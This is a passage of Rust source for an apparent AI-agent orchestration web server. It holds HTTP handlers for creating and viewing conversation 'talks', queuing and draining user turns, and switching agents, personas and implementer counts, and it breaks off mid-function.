8068 message.sender.unwrap_or(talk::Sender::Operator),
8069 &message.body,
8070 message.display.as_ref(),
8071 )
8072 })
8073 .collect();
8074 for nodes in &mut turn_bodies_md {
8075 references.markdown(nodes);
8076 }
8077 for nodes in turn_messages_md
8078 .iter_mut()
8079 .flatten()
8080 .chain(pending_messages_md.iter_mut())
8081 .flatten()
8082 {
8083 references.markdown(nodes);
8084 }
8085 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8086 let persona_name = persona::find(specs, &talk.persona)
8087 .filter(|p| !p.is_default())
8088 .map(|p| p.name);
8089 let mut avatar_persona = persona::find(specs, &talk.persona)
8090 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8091 if avatar_persona.id != talk.persona
8093 && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8094 {
8095 avatar_persona.id.clone_from(&talk.persona);
8096 avatar_persona.icon = None;
8097 }
8098 let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8099 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8100 Self {
8101 turn_bodies_md,
8102 turn_messages_md,
8103 pending_messages_md,
8104 thinking,
8105 context,
8106 operator_name,
8107 persona_name,
8108 persona_avatar,
8109 magi_avatar: magi_icon_url(home),
8110 operator_avatar: operator_icon_url(home),
8111 talk,
8112 }
8113 }
8114}
8115
8116fn notice_markdown(
8118 sender: talk::Sender,
8119 body: &str,
8120 display: Option<&crate::prompt::NoticeDisplay>,
8121) -> Option<Vec<md::Node>> {
8122 if sender != talk::Sender::Magi {
8123 return None;
8124 }
8125 let text = if let Some(display) = display {
8126 display.facts.as_str()
8127 } else {
8128 if crate::prompt::is_completion_notice(body)
8131 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8132 {
8133 return None;
8134 }
8135 body.strip_prefix("magi: ").unwrap_or(body)
8136 };
8137 Some(md::to_nodes(text, &md::ImageBase::None))
8138}
8139
8140#[derive(Debug, Serialize)]
8145struct TalkDetailView {
8146 #[serde(flatten)]
8147 view: TalkView,
8148 tasks: Vec<TaskView>,
8149 task_progress: TalkTaskProgress,
8150 roster: Vec<RosterEntry>,
8153 personas: Vec<PersonaEntry>,
8156}
8157
8158#[derive(Debug, Serialize)]
8160struct TalkTaskProgress {
8161 state: &'static str,
8162 total: usize,
8163 done: usize,
8164 counts: std::collections::BTreeMap<&'static str, usize>,
8165 unfinished_ids: Vec<String>,
8166}
8167
8168fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8169 let mut counts = std::collections::BTreeMap::from([
8170 ("queued", 0),
8171 ("running", 0),
8172 ("done", 0),
8173 ("failed", 0),
8174 ("held", 0),
8175 ("blocked", 0),
8176 ("parked", 0),
8177 ]);
8178 let mut unfinished_ids = Vec::new();
8179 for task in tasks {
8180 *counts.entry(task.status.as_str()).or_default() += 1;
8181 if task.status != TaskStatus::Done {
8182 unfinished_ids.push(task.id.clone());
8183 }
8184 }
8185 TalkTaskProgress {
8186 state: if tasks.is_empty() {
8187 "none"
8188 } else if unfinished_ids.is_empty() {
8189 "complete"
8190 } else {
8191 "incomplete"
8192 },
8193 total: tasks.len(),
8194 done: tasks.len() - unfinished_ids.len(),
8195 counts,
8196 unfinished_ids,
8197 }
8198}
8199
8200#[derive(Debug, Serialize)]
8202struct PersonaEntry {
8203 id: String,
8204 name: String,
8205 avatar: String,
8207}
8208
8209#[derive(Debug, Serialize)]
8211struct RosterEntry {
8212 id: String,
8213 kind: AgentKind,
8214 runnable: bool,
8216}
8217
8218async fn talks_list(
8223 State(ui): State<Arc<Ui>>,
8224 Query(q): Query<ListQuery>,
8225) -> ApiResult<Json<Vec<TalkView>>> {
8226 blocking(move || {
8227 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
8228 let talks = q.ids.as_ref().map_or_else(
8229 || ui.talks.list(),
8230 |ids| {
8231 ids.split(',')
8232 .filter(|id| plain_record_id(id))
8233 .filter_map(|id| ui.talks.get(id).ok())
8234 .collect()
8235 },
8236 );
8237 let references = if talks.iter().any(id_links::has_references) {
8238 ui.references.get(
8239 &ui.runs,
8240 &ui.queue,
8241 &ui.questions,
8242 &ui.talks,
8243 talks.iter().any(id_links::has_findings),
8244 )
8245 } else {
8246 Arc::new(id_links::IdIndex::default())
8247 };
8248 Ok(Json(
8249 talks
8250 .into_iter()
8251 .filter(|talk| q.contains(&talk.id))
8252 .map(|talk| {
8253 let thinking = ui.is_thinking(&talk.id);
8254 let cfg = configs
8255 .entry(talk.repo.clone())
8256 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
8257 TalkView::with_references(talk, thinking, cfg.as_ref(), &ui.home, &references)
8258 })
8259 .collect(),
8260 ))
8261 })
8262 .await
8263}
8264
8265#[derive(Debug, Default, Deserialize)]
8270#[serde(default)]
8271struct NewTalk {
8272 agent: Option<String>,
8273 repo: Option<PathBuf>,
8274 preferred_agent: Option<serde_json::Value>,
8278 persona: Option<serde_json::Value>,
8279 implementers: Option<serde_json::Value>,
8280}
8281
8282async fn talk_post(
8285 State(ui): State<Arc<Ui>>,
8286 body: std::result::Result<Json<NewTalk>, JsonRejection>,
8287) -> ApiResult<impl IntoResponse> {
8288 let body = match body {
8292 Ok(Json(body)) => body,
8293 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
8294 Err(e) => return Err(ApiError::bad_request(e.body_text())),
8295 };
8296 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
8297 let cfg = config_for(&repo).await?;
8298 let view = blocking(move || {
8299 let preferred = talk::Preferred {
8300 agent: body
8301 .preferred_agent
8302 .as_ref()
8303 .and_then(|v| v.as_str())
8304 .map(str::to_owned),
8305 persona: body
8306 .persona
8307 .as_ref()
8308 .and_then(|v| v.as_str())
8309 .map(str::to_owned),
8310 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
8311 };
8312 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
8313 let thinking = ui.is_thinking(&talk.id);
8314 Ok(TalkView::new(talk, thinking, &ui))
8315 })
8316 .await?;
8317 Ok((StatusCode::CREATED, Json(view)))
8318}
8319
8320async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
8322 blocking(move || {
8323 let id = resolve_talk(&ui.talks, &id)?;
8324 let talk = ui.talks.get(&id)?;
8325 let thinking = ui.is_thinking(&id);
8326 Ok(Json(TalkView::with_config(
8327 talk,
8328 thinking,
8329 None,
8330 &ui.home,
8331 &ui.references,
8332 )))
8333 })
8334 .await
8335}
8336
8337async fn talk_sections(
8338 State(ui): State<Arc<Ui>>,
8339 Path(id): Path<String>,
8340) -> ApiResult<Json<serde_json::Value>> {
8341 blocking(move || {
8342 let id = resolve_talk(&ui.talks, &id)?;
8343 let talk = ui.talks.get(&id)?;
8344 let tasks = ui.find_tasks_for_talk(&talk.id)?;
8345 let task_progress = talk_task_progress(&tasks);
8346 let tasks: Vec<_> = tasks
8347 .into_iter()
8348 .map(|task| {
8349 serde_json::json!({
8350 "id": task.id, "title": task.title, "status_str": task.status.as_str(),
8351 })
8352 })
8353 .collect();
8354 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8355 let roster: Vec<_> = cfg
8356 .as_ref()
8357 .map(|cfg| {
8358 cfg.agents
8359 .iter()
8360 .map(|a| RosterEntry {
8361 id: a.id.clone(),
8362 kind: a.kind,
8363 runnable: agent::installed(a),
8364 })
8365 .collect()
8366 })
8367 .unwrap_or_default();
8368 let specs = cfg
8369 .as_ref()
8370 .map(|cfg| cfg.talk.personas.clone())
8371 .unwrap_or_default();
8372 let personas: Vec<_> = persona::catalog(&specs)
8373 .into_iter()
8374 .map(|p| PersonaEntry {
8375 avatar: avatar_url(&ui.home, &talk.id, &p),
8376 id: p.id,
8377 name: p.name,
8378 })
8379 .collect();
8380 let active_persona = persona::find(&specs, &talk.persona)
8381 .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
8382 let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
8383 let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
8384 Ok(Json(serde_json::json!({
8385 "tasks": tasks, "task_progress": task_progress,
8386 "roster": roster, "personas": personas,
8387 "context": talk::context_usage(&talk, cfg.as_ref()),
8388 "context_for": talk.updated_at,
8389 "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
8390 "persona_name": persona_name,
8391 "persona_avatar": persona_avatar,
8392 })))
8393 })
8394 .await
8395}
8396
8397async fn talk_detail(
8399 State(ui): State<Arc<Ui>>,
8400 Path(id): Path<String>,
8401) -> ApiResult<Json<TalkDetailView>> {
8402 blocking(move || {
8403 let id = resolve_talk(&ui.talks, &id)?;
8404 let talk = ui.talks.get(&id)?;
8405 let thinking = ui.is_thinking(&talk.id);
8406 let tasks = ui.find_tasks_for_talk(&talk.id)?;
8407 let task_progress = talk_task_progress(&tasks);
8408 let tasks = tasks.into_iter().map(TaskView::from).collect();
8409 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8410 let roster = cfg
8411 .as_ref()
8412 .map(|cfg| {
8413 cfg.agents
8414 .iter()
8415 .map(|a| RosterEntry {
8416 id: a.id.clone(),
8417 kind: a.kind,
8418 runnable: agent::installed(a),
8419 })
8420 .collect()
8421 })
8422 .unwrap_or_default();
8423 let specs = cfg
8424 .as_ref()
8425 .map(|cfg| cfg.talk.personas.clone())
8426 .unwrap_or_default();
8427 let personas = persona::catalog(&specs)
8428 .into_iter()
8429 .map(|p| PersonaEntry {
8430 avatar: avatar_url(&ui.home, &talk.id, &p),
8431 id: p.id,
8432 name: p.name,
8433 })
8434 .collect();
8435 Ok(Json(TalkDetailView {
8436 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
8437 tasks,
8438 task_progress,
8439 roster,
8440 personas,
8441 }))
8442 })
8443 .await
8444}
8445
8446#[derive(Debug, Default, Deserialize)]
8452#[serde(default, deny_unknown_fields)]
8453struct NewTalkTurn {
8454 reply_to: Option<talk::ReplyTarget>,
8455 text: String,
8456 attachments: Vec<String>,
8457}
8458
8459#[derive(Debug, Deserialize)]
8460#[serde(deny_unknown_fields)]
8461struct EditTalkPending {
8462 #[serde(default)]
8463 message: Option<usize>,
8464 text: String,
8465 expected_text: String,
8466 expected_attachments: Vec<String>,
8467}
8468
8469#[derive(Debug, Deserialize)]
8470#[serde(deny_unknown_fields)]
8471struct ClearTalkPending {
8472 expected_text: String,
8473 expected_attachments: Vec<String>,
8474}
8475
8476async fn talk_say(
8488 State(ui): State<Arc<Ui>>,
8489 Path(id): Path<String>,
8490 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
8491) -> ApiResult<(StatusCode, Json<TalkView>)> {
8492 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8493 if body.text.trim().is_empty() && body.attachments.is_empty() {
8494 return Err(ApiError::bad_request("say something"));
8495 }
8496
8497 let id = {
8498 let ui = Arc::clone(&ui);
8499 let asked = id.clone();
8500 blocking(move || resolve_talk(&ui.talks, &asked)).await?
8501 };
8502 {
8506 let ui = Arc::clone(&ui);
8507 let id = id.clone();
8508 blocking(move || {
8509 let talk = ui.talks.get(&id)?;
8510 if !talk.status.open() {
8511 return Err(ApiError::conflict(format!(
8512 "talk {} is {} and takes no more turns",
8513 talk.short(),
8514 talk.status.as_str()
8515 )));
8516 }
8517 Ok(())
8518 })
8519 .await?;
8520 }
8521
8522 let attachments = {
8527 let ui = Arc::clone(&ui);
8528 let id = id.clone();
8529 let ids = body.attachments.clone();
8530 blocking(move || {
8531 ids.into_iter()
8532 .map(|att_id| {
8533 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
8534 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
8535 })
8536 })
8537 .collect::<ApiResult<Vec<talk::Attachment>>>()
8538 })
8539 .await?
8540 };
8541
8542 let start = {
8547 let ui = Arc::clone(&ui);
8548 let id = id.clone();
8549 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
8550 };
8551 let turn_guard = match start {
8552 TalkTurnStart::Claimed(turn_guard) => turn_guard,
8553 TalkTurnStart::Pending => {
8554 return Err(ApiError::conflict(
8555 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
8556 ));
8557 }
8558 TalkTurnStart::Foreign => {
8559 return Err(ApiError::conflict(
8560 "a turn is already running in another process; try again when it has finished",
8561 ));
8562 }
8563 TalkTurnStart::Busy => {
8564 let (tx, rx) = tokio::sync::oneshot::channel();
8580 tokio::spawn({
8581 let ui = Arc::clone(&ui);
8582 let id = id.clone();
8583 let said = body.text.clone();
8584 let reply_to = body.reply_to.clone();
8585 async move {
8586 let written = blocking({
8587 let ui = Arc::clone(&ui);
8588 let id = id.clone();
8589 move || {
8590 let mut talk = ui.talks.get(&id)?;
8591 #[cfg(test)]
8596 if let Some(gate) = ui
8597 .busy_queue_gate
8598 .lock()
8599 .unwrap_or_else(PoisonError::into_inner)
8600 .take()
8601 {
8602 let _ = gate.reached.send(());
8603 let _ = gate.release.recv();
8604 }
8605 if let Err(error) = talk::queue_reply(
8606 &mut talk,
8607 &ui.talks,
8608 &said,
8609 attachments,
8610 reply_to,
8611 ) {
8612 if let Ok(fresh) = ui.talks.get(&id) {
8613 if !fresh.status.open() {
8614 return Err(ApiError::conflict(format!(
8615 "talk {} is {} and takes no more turns",
8616 fresh.short(),
8617 fresh.status.as_str()
8618 )));
8619 }
8620 }
8621 return Err(
8622 if error.to_string().contains("invalid reply target") {
8623 ApiError::bad_request("invalid reply target")
8624 } else {
8625 ApiError::from(error)
8626 },
8627 );
8628 }
8629 let claim = match ui.begin_queued_talk_turn(&id)? {
8640 Some(turn_guard) => {
8641 let (cfg, _) = Config::discover(&talk.repo, None)?;
8642 Some((talk.clone(), cfg, turn_guard))
8643 }
8644 None => None,
8645 };
8646 let thinking = ui.is_thinking(&id);
8647 Ok((TalkView::new(talk, thinking, &ui), claim))
8648 }
8649 })
8650 .await;
8651 let (view, reclaimed) = match written {
8652 Ok(pair) => pair,
8653 Err(e) => {
8654 let _ = tx.send(Err(e));
8659 return;
8660 }
8661 };
8662 let _ = tx.send(Ok(view));
8665 if let Some((talk, cfg, turn_guard)) = reclaimed {
8666 let talks = ui.talks.clone();
8667 drain_loop(talk, talks, cfg, id, turn_guard).await;
8668 }
8669 }
8670 });
8671 let view = rx
8672 .await
8673 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
8674 return Ok((StatusCode::ACCEPTED, Json(view)));
8675 }
8676 };
8677
8678 let (talk, cfg) = {
8679 let ui = Arc::clone(&ui);
8680 let id = id.clone();
8681 blocking(move || {
8682 let talk = ui.talks.get(&id)?;
8683 let (cfg, _) = Config::discover(&talk.repo, None)?;
8684 Ok((talk, cfg))
8685 })
8686 .await?
8687 };
8688
8689 let talks = ui.talks.clone();
8690 let (tx, rx) = tokio::sync::oneshot::channel();
8705 tokio::spawn({
8706 let ui = Arc::clone(&ui);
8707 let talks = talks.clone();
8708 let id = id.clone();
8709 let said = body.text.clone();
8710 let reply_to = body.reply_to.clone();
8711 let mut talk = talk.clone();
8712 async move {
8713 let recorded = blocking({
8714 let talks = talks.clone();
8715 move || {
8716 if let Err(error) =
8717 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
8718 {
8719 if let Ok(fresh) = talks.get(&talk.id) {
8720 if !fresh.status.open() {
8721 return Err(ApiError::conflict(format!(
8722 "talk {} is {} and takes no more turns",
8723 fresh.short(),
8724 fresh.status.as_str()
8725 )));
8726 }
8727 }
8728 return Err(if error.to_string().contains("invalid reply target") {
8729 ApiError::bad_request("invalid reply target")
8730 } else {
8731 ApiError::from(error)
8732 });
8733 }
8734 Ok((said.trim().to_owned(), talk))
8740 }
8741 })
8742 .await;
8743 let (text, mut talk) = match recorded {
8744 Ok(pair) => pair,
8745 Err(e) => {
8746 let _ = tx.send(Err(e));
8750 return;
8751 }
8752 };
8753 let queued = talk.clone();
8754 let thinking = ui.is_thinking(&id);
8755 let _ = tx.send(Ok((queued, thinking)));
8758
8759 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
8760 tracing::warn!("talk {id} turn failed: {e:#}");
8764 }
8765 drain_loop(talk, talks, cfg, id, turn_guard).await;
8768 }
8769 });
8770
8771 let (queued, thinking) = rx
8772 .await
8773 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
8774
8775 Ok((
8777 StatusCode::ACCEPTED,
8778 Json(TalkView::new(queued, thinking, &ui)),
8779 ))
8780}
8781
8782async fn talk_pending_resume(
8786 State(ui): State<Arc<Ui>>,
8787 Path(id): Path<String>,
8788) -> ApiResult<(StatusCode, Json<TalkView>)> {
8789 let id = {
8790 let ui = Arc::clone(&ui);
8791 let asked = id.clone();
8792 blocking(move || resolve_talk(&ui.talks, &asked)).await?
8793 };
8794 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8795 return Err(ApiError::conflict(
8796 "a talk turn is already running; the queued draft will be handled by it",
8797 ));
8798 };
8799 let (talk, cfg) = {
8800 let ui = Arc::clone(&ui);
8801 let id = id.clone();
8802 blocking(move || {
8803 let talk = ui.talks.get(&id)?;
8804 if !talk.status.open() {
8805 return Err(ApiError::conflict(format!(
8806 "talk {} is {} and takes no more turns",
8807 talk.short(),
8808 talk.status.as_str()
8809 )));
8810 }
8811 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8812 return Err(ApiError::conflict("there is no queued draft to resume"));
8813 }
8814 let (cfg, _) = Config::discover(&talk.repo, None)?;
8815 Ok((talk, cfg))
8816 })
8817 .await?
8818 };
8819 let view = TalkView::new(talk.clone(), true, &ui);
8820 let talks = ui.talks.clone();
8821 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8822 Ok((StatusCode::ACCEPTED, Json(view)))
8823}
8824
8825async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
8841 drain_loop_started(talk, talks, cfg, id, turn, None).await;
8842}
8843
8844async fn settle_settings_turn(
8848 talk: Talk,
8849 talks: Talks,
8850 cfg: Config,
8851 id: String,
8852 turn: TalkTurnGuard,
8853 observed: u64,
8854) -> bool {
8855 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8856 let turns = Arc::clone(&turn.turns);
8857 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
8858 if live.queued.get(&id).copied().unwrap_or(0) == observed {
8859 turn.release(&mut live);
8861 return false;
8862 }
8863 }
8864 let (started, settled) = tokio::sync::oneshot::channel();
8865 tokio::spawn(drain_loop_started(
8866 talk,
8867 talks,
8868 cfg,
8869 id,
8870 turn,
8871 Some(started),
8872 ));
8873 settled.await.unwrap_or(false)
8874}
8875
8876async fn drain_loop_started(
8877 mut talk: Talk,
8878 talks: Talks,
8879 cfg: Config,
8880 id: String,
8881 turn: TalkTurnGuard,
8882 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
8883) {
8884 let live_set = Arc::clone(&turn.turns);
8885 let mut turn = Some(turn);
8893 loop {
8894 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
8895 tracing::warn!("talk {id} lost its turn lease; not draining further");
8898 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8899 if let Some(turn) = turn.take() {
8900 turn.release(&mut live);
8901 }
8902 break;
8903 }
8904 {
8905 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8908 if live.parking {
8909 if let Some(turn) = turn.take() {
8910 turn.release(&mut live);
8911 }
8912 break;
8913 }
8914 }
8915 let observed = live_set
8919 .lock()
8920 .unwrap_or_else(PoisonError::into_inner)
8921 .queued
8922 .get(&id)
8923 .copied()
8924 .unwrap_or(0);
8925 let drained = blocking({
8926 let talks = talks.clone();
8927 let live_set = Arc::clone(&live_set);
8928 move || {
8929 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8934 let result = if live.parking {
8935 Ok(None)
8936 } else {
8937 talk::drain(&mut talk, &talks)
8938 };
8939 drop(live);
8940 Ok((talk, result))
8941 }
8942 })
8943 .await;
8944 let (next_talk, result) = match drained {
8945 Ok(drained) => drained,
8946 Err(e) => {
8947 tracing::warn!(
8948 status = %e.status,
8949 message = %e.message,
8950 "talk {id} could not start queued-text drain"
8951 );
8952 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8953 turn.take()
8954 .expect("held for the whole loop until released here")
8955 .release(&mut live);
8956 break;
8957 }
8958 };
8959 talk = next_talk;
8960 let drained = match result {
8961 Ok(Some(drained)) => drained,
8962 Ok(None) => {
8963 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8964 if live.queued.get(&id).copied().unwrap_or(0) != observed {
8965 continue;
8966 }
8967 turn.take()
8968 .expect("held for the whole loop until released here")
8969 .release(&mut live);
8970 break;
8971 }
8972 Err(e) => {
8973 tracing::warn!("talk {id} could not drain queued text: {e:#}");
8974 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8975 turn.take()
8976 .expect("held for the whole loop until released here")
8977 .release(&mut live);
8978 break;
8979 }
8980 };
8981 if let Some(started) = started.take() {
8982 let _ = started.send(true);
8983 }
8984 let responded = match turn.as_ref() {
8985 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
8986 None => Err(anyhow::anyhow!("the turn guard was released")),
8987 };
8988 if let Err(e) = responded {
8989 tracing::warn!("talk {id} turn failed: {e:#}");
8990 }
8991 }
8992 drop(turn);
8993 if let Some(started) = started {
8994 let _ = started.send(false);
8995 }
8996}
8997
8998async fn talk_pending_clear(
9000 State(ui): State<Arc<Ui>>,
9001 Path(id): Path<String>,
9002 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9003) -> ApiResult<Json<TalkView>> {
9004 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9005 blocking(move || {
9006 let id = resolve_talk(&ui.talks, &id)?;
9007 let mut talk = ui.talks.get(&id)?;
9008 if !talk.status.open() {
9009 return Err(ApiError::conflict(format!(
9010 "talk {} is {} and takes no more turns",
9011 talk.short(),
9012 talk.status.as_str()
9013 )));
9014 }
9015 if !talk::clear_pending_if_matches(
9016 &mut talk,
9017 &ui.talks,
9018 &body.expected_text,
9019 &body.expected_attachments,
9020 )? {
9021 return Err(ApiError::conflict(
9022 "queued message changed; reload it before clearing",
9023 ));
9024 }
9025 let thinking = ui.is_thinking(&talk.id);
9026 Ok(Json(TalkView::new(talk, thinking, &ui)))
9027 })
9028 .await
9029}
9030
9031async fn talk_pending_edit(
9035 State(ui): State<Arc<Ui>>,
9036 Path(id): Path<String>,
9037 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9038) -> ApiResult<Json<TalkView>> {
9039 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9040 let (view, reclaimed) = blocking({
9041 let ui = Arc::clone(&ui);
9042 move || {
9043 let id = resolve_talk(&ui.talks, &id)?;
9044 let mut talk = ui.talks.get(&id)?;
9045 if !talk.status.open() {
9046 return Err(ApiError::conflict(format!(
9047 "talk {} is {} and takes no more turns",
9048 talk.short(),
9049 talk.status.as_str()
9050 )));
9051 }
9052 if !talk::edit_pending_message(
9053 &mut talk,
9054 &ui.talks,
9055 &body.text,
9056 &body.expected_text,
9057 &body.expected_attachments,
9058 body.message,
9059 )? {
9060 return Err(ApiError::conflict(
9061 "queued message changed; reload it before editing",
9062 ));
9063 }
9064 let claim = match ui.begin_queued_talk_turn(&id)? {
9065 Some(turn_guard) => {
9066 let (cfg, _) = Config::discover(&talk.repo, None)?;
9067 Some((talk.clone(), cfg, id.clone(), turn_guard))
9068 }
9069 None => None,
9070 };
9071 let thinking = ui.is_thinking(&id);
9072 Ok((TalkView::new(talk, thinking, &ui), claim))
9073 }
9074 })
9075 .await?;
9076 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9077 let talks = ui.talks.clone();
9078 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9079 }
9080 Ok(Json(view))
9081}
9082
9083fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9085 if talk.status.open() {
9086 return Ok(());
9087 }
9088 Err(ApiError::conflict(format!(
9089 "talk {} is {} and takes no more turns",
9090 talk.short(),
9091 talk.status.as_str()
9092 )))
9093}
9094
9095#[derive(Debug, Deserialize)]
9097struct TalkAgent {
9098 agent: String,
9099}
9100
9101async fn talk_agent(
9106 State(ui): State<Arc<Ui>>,
9107 Path(id): Path<String>,
9108 Json(body): Json<TalkAgent>,
9109) -> ApiResult<Json<TalkView>> {
9110 let id = {
9111 let ui = Arc::clone(&ui);
9112 blocking(move || resolve_talk(&ui.talks, &id)).await?
9113 };
9114 let repo = {
9115 let ui = Arc::clone(&ui);
9116 let id = id.clone();
9117 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9118 };
9119 let cfg = config_for(&repo).await?;
9120 {
9122 let ui = Arc::clone(&ui);
9123 let id = id.clone();
9124 let cfg = cfg.clone();
9125 let wanted = body.agent.clone();
9126 blocking(move || {
9127 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9128 .map_err(ApiError::bad_request_from)?;
9129 refuse_if_closed(&ui.talks.get(&id)?)
9130 })
9131 .await?;
9132 }
9133 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9134 return Err(ApiError::conflict(
9135 "a talk turn is running; change the agent once it has answered",
9136 ));
9137 };
9138 let switched = {
9139 let ui = Arc::clone(&ui);
9140 let id = id.clone();
9141 let cfg = cfg.clone();
9142 blocking(move || {
9143 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9144 .map_err(ApiError::bad_request_from)?;
9145 let mut talk = ui.talks.get(&id)?;
9146 if !talk.status.open() {
9147 return Err(ApiError::conflict(format!(
9148 "talk {} is {} and takes no more turns",
9149 talk.short(),
9150 talk.status.as_str()
9151 )));
9152 }
9153 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9154 Ok(talk)
9155 })
9156 .await
9157 };
9158 let observed = ui.queued_generation(&id);
9163 let fresh = {
9164 let ui = Arc::clone(&ui);
9165 let id = id.clone();
9166 blocking(move || Ok(ui.talks.get(&id)?)).await
9167 };
9168 let draining = match fresh {
9169 Ok(talk) => {
9170 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9171 }
9172 Err(_) => false,
9173 };
9174 let talk = switched?;
9175 Ok(Json(TalkView::new(talk, draining, &ui)))
9176}
9177
9178#[derive(Debug, Deserialize)]
9180struct TalkPersona {
9181 persona: String,
9182}
9183
9184async fn talk_persona(
9188 State(ui): State<Arc<Ui>>,
9189 Path(id): Path<String>,
9190 Json(body): Json<TalkPersona>,
9191) -> ApiResult<Json<TalkView>> {
9192 let id = {
9193 let ui = Arc::clone(&ui);
9194 blocking(move || resolve_talk(&ui.talks, &id)).await?
9195 };
9196 let repo = {
9197 let ui = Arc::clone(&ui);
9198 let id = id.clone();
9199 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9200 };
9201 let cfg = config_for(&repo).await?;
9202 {
9204 let ui = Arc::clone(&ui);
9205 let id = id.clone();
9206 let cfg = cfg.clone();
9207 let wanted = body.persona.clone();
9208 blocking(move || {
9209 if persona::find(&cfg.talk.personas, &wanted).is_none() {
9210 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
9211 }
9212 refuse_if_closed(&ui.talks.get(&id)?)
9213 })
9214 .await?;
9215 }
9216 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9217 return Err(ApiError::conflict(
9218 "a talk turn is running; change the persona once it has answered",
9219 ));
9220 };
9221 let switched = {
9222 let ui = Arc::clone(&ui);
9223 let id = id.clone();
9224 let cfg = cfg.clone();
9225 blocking(move || {
9226 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
9227 return Err(ApiError::bad_request(format!(
9228 "unknown persona `{}`",
9229 body.persona
9230 )));
9231 };
9232 let mut talk = ui.talks.get(&id)?;
9233 if !talk.status.open() {
9234 return Err(ApiError::conflict(format!(
9235 "talk {} is {} and takes no more turns",
9236 talk.short(),
9237 talk.status.as_str()
9238 )));
9239 }
9240 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
9241 Ok(talk)
9242 })
9243 .await
9244 };
9245 let observed = ui.queued_generation(&id);
9247 let fresh = {
9248 let ui = Arc::clone(&ui);
9249 let id = id.clone();
9250 blocking(move || Ok(ui.talks.get(&id)?)).await
9251 };
9252 let draining = match fresh {
9253 Ok(talk) => {
9254 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9255 }
9256 Err(_) => false,
9257 };
9258 let talk = switched?;
9259 Ok(Json(TalkView::new(talk, draining, &ui)))
9260}
9261
9262#[derive(Debug, Deserialize)]
9264struct TalkImplementers {
9265 implementers: u8,
9266}
9267
9268async fn talk_implementers(
9272 State(ui): State<Arc<Ui>>,
9273 Path(id): Path<String>,
9274 Json(body): Json<TalkImplementers>,
9275) -> ApiResult<Json<TalkView>> {
9276 let id = {
9277 let ui = Arc::clone(&ui);
9278 blocking(move || resolve_talk(&ui.talks, &id)).await?
9279 };
9280 let repo = {
9281 let ui = Arc::clone(&ui);
9282 let id = id.clone();
9283 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9284 };
9285 let cfg = config_for(&repo).await?;
9286 {
9291 let ui = Arc::clone(&ui);
9292 let id = id.clone();
9293 let cfg = cfg.clone();
9294 let wanted = body.implementers;
9295 blocking(move || {
